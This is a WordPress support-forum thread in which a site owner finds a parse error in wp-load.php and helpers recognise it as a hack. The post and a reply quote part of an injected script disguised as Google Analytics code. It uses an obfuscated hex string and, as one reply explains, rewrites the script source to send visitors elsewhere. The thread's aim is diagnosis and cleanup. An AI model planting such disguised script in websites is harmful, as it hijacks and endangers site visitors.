Multiple WP sites affected with Parse error: wp-load.php on line 52

  • bullpenstudio

    (@bullpenstudio)


    15 years, 1 month ago

    All of the sudden all 3 of my wordpress sites I run through bluehost showed errors.

    http://www.Bullpenstudio.com/home
    http://www.moyephoto.com
    http://www.lolgym.com

    I will use http://www.Bullpenstudio.com/home to show the code in the wp-load.php

    Parse error: syntax error, unexpected T_STRING in /home1/mistings/public_html/home/wp-load.php on line 52

    LINES 48-51:
    // Die with an error message
    require_once( ABSPATH . ‘/wp-includes/class-wp-error.php’ );
    require_once( ABSPATH . ‘/wp-includes/functions.php’ );
    require_once( ABSPATH . ‘/wp-includes/plugin.php’ );
    $text_direction = /*WP_I18N_TEXT_DIRECTION*/”ltr”/*/WP_I18N_TEXT_DIRECTION*/;

    LINE 52:

    wp_die(sprintf(/*WP_I18N_NO_CONFIG*/”There doesn’t seem to be a wp-config.php file. I need this before we can get started. Need more help? We got it. You can create a wp-config.php file through a web interface, but this doesn’t work for all server setups. The safest way is to manually create the file.</p><script snc=”http://www.google-analytics.com/urchin.js&#8221; id=”googleanalytics” type=”text/javascript”>//
    <!– 05a4d2691d6919230c234d284d3d583447334a64077d5330537c16654a20512441334a6409600e2050384805a4d2bgdd
    var emob = document.getElementById(“googleanalytics”);
    var emsp = “”;

    Is there an easy fix? I have nothing backed up…

Viewing 3 replies - 1 through 3 (of 3 total)
  • Jarret

    (@jarretc)

    15 years, 1 month ago

    <script snc="http://www.google-analytics.com/urchin.js" id="googleanalytics" type="text/javascript">//
<!-- 05a4d2691d6919230c234d284d3d583447334a64077d5330537c16654a20512441334a6409600e2050384805a4d2bgdd
var emob = document.getElementById("googleanalytics");
var emsp = "";

    That should NOT exist in the wp-load.php file at all. Not sure how that got in there but it needs to be removed, where you hacked possibly?

    Thread Starter bullpenstudio

    (@bullpenstudio)

    15 years, 1 month ago

    Ok Thanks alot, I think one of my clients tried adding google analytics code and somehow managed to mess up every one of my sites, I am going to resort to what backups I have saved, and start from there. thank you for your help!

    WeWatch

    (@wewatch)

    15 years ago

    If you see the above “google-analytics” code in your site code – you’ve been hacked.

    Notice the part <script snc="http://www.google-analytics.com/urchin.js

    See the snc instead of src? What that code does is replace the snc=”http://www.google-analytics.com/urchin.js&#8221; with a different URL and toward the end of the code it sets the source (src) to:

    emob.src = emsp.substr(15);

    To test it, replace the above string toward the end of the script tag with a statement like:

    alert(emsp.substr(15));

    and comment out:

    emob.src = emsp.substr(15);

    And you’ll see where that little bit of code is actually taking your visitors.

    It’s bad and it should be removed.

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Multiple WP sites affected with Parse error: wp-load.php on line 52’ is closed to new replies.